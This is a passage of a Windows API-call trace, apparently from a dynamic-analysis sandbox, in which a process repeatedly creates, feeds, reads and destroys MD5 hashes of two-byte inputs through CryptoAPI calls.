	[0095.496] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.496] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.496] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.496] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.497] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.497] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.497] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.497] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.497] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.497] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.497] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.497] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.497] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.497] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.497] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.497] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.497] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.498] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.498] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.498] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.498] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.498] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.498] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.498] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.498] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.498] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.498] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.498] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.498] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.498] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.499] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.499] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.499] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.499] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.499] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.499] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.499] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.499] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.499] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.499] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.499] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.499] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.499] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.499] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.499] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.499] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.500] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.500] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.500] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.500] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.500] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.500] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.500] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.500] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.500] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.500] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.500] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.500] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.500] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.501] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.501] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.501] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.501] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.501] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.501] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.501] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.501] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.501] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.501] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.501] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.501] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.501] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.502] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.502] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.502] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.502] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.502] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.502] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.502] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.502] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.502] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.502] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.502] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.502] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.502] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.503] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.503] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.503] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.503] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.503] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.504] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.504] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.504] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.504] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.504] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.504] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.504] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.504] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.504] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.504] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.504] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.504] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.504] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.505] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.505] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.505] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.505] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.505] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.505] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.505] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.505] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.505] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.505] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.505] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.505] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.505] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.506] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.506] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.506] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.506] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.506] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.506] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.506] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.506] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.506] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.506] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.506] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.506] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.506] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.506] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.506] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.507] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.507] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.507] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.507] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.507] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.507] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.507] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.507] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.507] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.507] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.507] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.507] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.507] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.507] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.508] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.508] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.508] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.508] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.508] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.508] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.508] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.508] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.508] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.508] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.508] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.508] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.508] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.509] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.509] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.509] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.509] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.509] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.509] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.509] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.509] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.509] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.509] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.509] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.509] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.509] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.510] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.510] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.510] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.510] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.510] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.510] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.510] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.510] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.510] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.510] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.510] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.510] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.510] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.511] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.511] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.511] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.511] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.511] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.511] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.511] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.511] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.511] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.511] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.511] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.511] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.511] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.511] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.512] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.512] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.512] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.512] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.512] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.512] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.512] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.512] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.512] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.512] CryptDestroyHash (hHash=0x34d8d0) returned 1
